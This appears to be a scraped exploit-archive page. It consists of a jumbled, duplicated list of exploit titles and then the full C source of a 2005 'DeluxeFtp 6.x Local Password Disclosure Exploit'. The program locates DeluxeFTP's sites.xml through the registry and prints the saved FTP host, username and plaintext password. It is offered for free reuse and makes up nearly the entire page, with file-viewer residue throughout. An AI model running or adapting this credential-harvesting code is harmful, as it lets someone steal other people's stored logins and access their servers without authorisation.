
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
160 lines
2.8 KiB
C
Executable file
160 lines
2.8 KiB
C
Executable file
/*******************************************************************
|
|
|
|
DeluxeFtp 6.x Local Password Disclosure Exploit by Kozan
|
|
|
|
Application: DeluxeFtp 6.x (and probably prior versions)
|
|
Vendor: www.deluxeftp.com
|
|
Vulnerable Description: DeluxeFtp 6.x discloses passwords
|
|
to local users.
|
|
|
|
Bug Discovered by: Lostmon
|
|
Exploit Coded by: Kozan
|
|
Credits to ATmaCA
|
|
Web: www.netmagister.com
|
|
Web2: www.spyinstructors.com
|
|
Mail: kozan@netmagister.com
|
|
|
|
*******************************************************************/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <windows.h>
|
|
|
|
|
|
HKEY hKey;
|
|
#define BUFSIZE 100
|
|
char prgfiles[BUFSIZE];
|
|
DWORD dwBufLen=BUFSIZE;
|
|
LONG lRet;
|
|
|
|
|
|
int adresal(char *FilePath,char *Str)
|
|
{
|
|
char kr;
|
|
int Sayac=0;
|
|
int Offset=-1;
|
|
FILE *di;
|
|
di=fopen(FilePath,"rb");
|
|
|
|
if( di == NULL )
|
|
{
|
|
fclose(di);
|
|
return -1;
|
|
}
|
|
|
|
while(!feof(di))
|
|
{
|
|
Sayac++;
|
|
for(int i=0;i<strlen(Str);i++)
|
|
{
|
|
kr=getc(di);
|
|
if(kr != Str[i])
|
|
{
|
|
if( i>0 )
|
|
{
|
|
fseek(di,Sayac+1,SEEK_SET);
|
|
}
|
|
break;
|
|
}
|
|
if( i > ( strlen(Str)-2 ) )
|
|
{
|
|
Offset = ftell(di)-strlen(Str);
|
|
fclose(di);
|
|
return Offset;
|
|
}
|
|
}
|
|
}
|
|
fclose(di);
|
|
return -1;
|
|
}
|
|
|
|
|
|
char *oku(char *FilePath,char *Str)
|
|
{
|
|
|
|
FILE *di;
|
|
char cr;
|
|
int i=0;
|
|
char Feature[500];
|
|
|
|
int Offset = adresal(FilePath,Str);
|
|
|
|
if( Offset == -1 )
|
|
return "";
|
|
|
|
if( (di=fopen(FilePath,"rb")) == NULL )
|
|
return "";
|
|
|
|
fseek(di,Offset+strlen(Str),SEEK_SET);
|
|
|
|
while(!feof(di))
|
|
{
|
|
cr=getc(di);
|
|
if(cr == '<')
|
|
break;
|
|
Feature[i] = cr;
|
|
i++;
|
|
}
|
|
|
|
Feature[i] = '\0';
|
|
fclose(di);
|
|
return Feature;
|
|
}
|
|
|
|
|
|
|
|
|
|
int main()
|
|
{
|
|
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
|
|
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
|
|
0,
|
|
KEY_QUERY_VALUE,
|
|
&hKey) == ERROR_SUCCESS)
|
|
{
|
|
|
|
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
|
|
(LPBYTE) prgfiles, &dwBufLen);
|
|
|
|
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
|
|
{
|
|
RegCloseKey(hKey);
|
|
printf("An error occured!\n");
|
|
exit(1);
|
|
}
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
}
|
|
else
|
|
{
|
|
RegCloseKey(hKey);
|
|
printf("An error occured!\n");
|
|
exit(1);
|
|
}
|
|
|
|
strcat(prgfiles,"\\DeluxeFTP\\sites.xml");
|
|
|
|
|
|
printf("DeluxeFtp 6.x Local Password Disclosure Exploit by Kozan\n");
|
|
printf("Bug Discovered by Lostmon\n");
|
|
printf("Exploit coded by Kozan\n");
|
|
printf("Credits to ATmaCA\n");
|
|
printf("www.netmagister.com - www.spyinstructors.com \n\n");
|
|
printf("This exploit only shows the first profile and its password.\n");
|
|
printf("You may improve it freely...\n\n");
|
|
|
|
char FtpAddress[BUFSIZE], FtpUsername[BUFSIZE], FtpPassword[BUFSIZE];
|
|
|
|
strcpy(FtpAddress,oku(prgfiles,"<ADDRESS>"));
|
|
strcpy(FtpUsername,oku(prgfiles,"<LOGIN>"));
|
|
strcpy(FtpPassword,oku(prgfiles,"<PASSWORD>"));
|
|
|
|
printf("Ftp Address : %s\n",FtpAddress);
|
|
printf("Ftp Username : %s\n",FtpUsername);
|
|
printf("Ftp Password : %s\n",FtpPassword);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2005-04-13]
|